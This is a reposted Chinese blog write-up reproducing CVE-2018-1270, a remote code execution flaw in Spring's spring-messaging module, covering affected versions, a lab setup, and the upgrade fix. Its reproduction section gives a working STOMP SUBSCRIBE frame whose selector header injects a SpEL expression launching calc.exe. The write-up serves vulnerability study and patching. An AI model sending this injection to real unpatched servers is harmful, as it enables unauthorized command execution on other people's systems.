β

spring-messaging RCE(cve-2018-1270) 重现

Harries Blog™ 1746 阅读

0x00 概述

4月5号网上爆出 spring 框架的一个rce 漏洞 ,编号cve-2018-1270,著名的 ssh 框架就用了spring。

漏洞存在于spring- message 模块,

大致流程是:

类DefaultSubscr ip tionRegistry. java 的addSubscriptionInternal方法中,有expression = this.expressionParser. parse Expression(selector);

这个spel表达式语句,selector可控,如果要命令执行,需要expression.getValue或expression.setValue,而后面就有

if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))

如果感兴趣还可以深入跟踪触发流程。

本文对此漏洞进行重现。

0x01 影响范围

Spring Framework 5.0 to 5.0.4

Spring Framework 4.3 to 4.3.14

以及更老的不支持的版本

0x02 漏洞重现

测试 环境:

git clone https ://github.com/spring-gu id es/gs-messaging-stomp- web socket

git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

cd complete

./mvnw spring-boot:run

http ://192.168.110.10:8080

spring-messaging RCE(cve-2018-1270) 重现

重现:

开启抓包,点击connect

得到

[“SUBSCRIBE/nid:sub-0/ndestination:/topic/greetings/n/n/u0000″]

这个包,

加入payload:

selector:new java.lang.ProcessBuilder(/”calc.exe/”).s tar t()/n

得:

[“SUBSCRIBE/nid:sub-0/ndestination:/topic/greetings/nselector:new java.lang.ProcessBuilder(/”calc.exe/”).start()/n/n/u0000″]

放行,

再send

spring-messaging RCE(cve-2018-1270) 重现

重现成功!

再赠送个xss

spring-messaging RCE(cve-2018-1270) 重现

0x03 修复方案

升级到5.0.5或4.3.15

0x04 参考资料

https://pivotal.io/security/cve-2018-1270

www.polaris-lab.com/index.php/archives/501/

https://xz.aliyun.com/t/2252

https://github.com/spring-guides/gs-messaging-stomp-websocket

原文

http://www.lsablog.com/network_security/penetration/cve-2018-1270-repeat/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。 PS:如果您想和业内技术大牛交流的话,请加qq群(474807195)或者关注微信公众号(AskHarries),谢谢!

转载请注明原文出处: Harries Blog™ » spring-messaging RCE(cve-2018-1270) 重现

作者:Harries Blog™
追心中的海,逐世界的梦
原文地址:spring-messaging RCE(cve-2018-1270) 重现, 感谢原作者分享。

发表评论